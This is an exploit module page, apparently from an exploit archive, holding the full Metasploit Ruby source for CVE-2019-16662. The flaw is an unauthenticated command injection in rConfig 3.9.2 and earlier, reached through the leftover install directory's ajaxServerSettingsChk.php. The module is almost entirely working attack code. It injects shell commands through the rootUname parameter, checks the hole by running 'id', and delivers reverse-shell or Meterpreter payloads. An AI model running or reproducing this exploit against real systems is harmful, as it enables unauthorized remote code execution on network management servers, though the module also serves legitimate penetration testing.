This Metasploit module exploits an unauthenticated command injection vulnerability in rConfig versions 3.9.2 and prior. The install directory is not automatically removed after installation, allowing unauthenticated users to execute arbitrary commands via the ajaxServerSettingsChk.php file as the web server user. This module has been tested successfully on rConfig version 3.9.2 on CentOS 7.7.1908 (x64).

MD5 | 5a8c7959c835ac3cbcc733bb6b9b60ac

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'rConfig install Command Execution',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability
in rConfig versions 3.9.2 and prior. The `install` directory is not
automatically removed after installation, allowing unauthenticated users
to execute arbitrary commands via the `ajaxServerSettingsChk.php` file
as the web server user.

This module has been tested successfully on rConfig version 3.9.2 on
CentOS 7.7.1908 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'mhaskar', # Discovery and exploit
'bcoles' # Metasploit
],
'References' =>
[
['CVE', '2019-16662'],
['EDB', '47555'],
['URL', 'https://gist.github.com/mhaskar/ceb65fa4ca57c3cdccc1edfe2390902e'],
['URL', 'https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/']
],
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Payload' => {'BadChars' => "x00x0ax0dx26"},
'Targets' =>
[
['Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
'Type' => :unix_memory
],
['Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
'Type' => :linux_dropper
]
],
'Privileged' => false,
'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 },
'DisclosureDate' => '2019-10-28',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to rConfig install directory', '/install/'])
])
end

def check
res = execute_command('id')

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

if res.code == 404
vprint_error 'Could not find install directory'
return CheckCode::Safe
end

cmd_res = res.body.scan(%r{The root details provided have not passed: (.+?)<\/}).flatten.first

unless cmd_res
return CheckCode::Safe
end

vprint_status "Response: #{cmd_res}"

unless cmd_res.include?('uid=')
return CheckCode::Detected
end

CheckCode::Vulnerable
end

def execute_command(cmd, opts = {})
vprint_status "Executing command: #{cmd}"
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/lib/ajaxHandlers/ajaxServerSettingsChk.php'),
'vars_get' => {'rootUname' => ";#{cmd} #"}
}, 5)
end

def exploit
unless [CheckCode::Detected, CheckCode::Vulnerable].include? check
fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
end

case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(:linemax => 1_500)
end
end
end

Source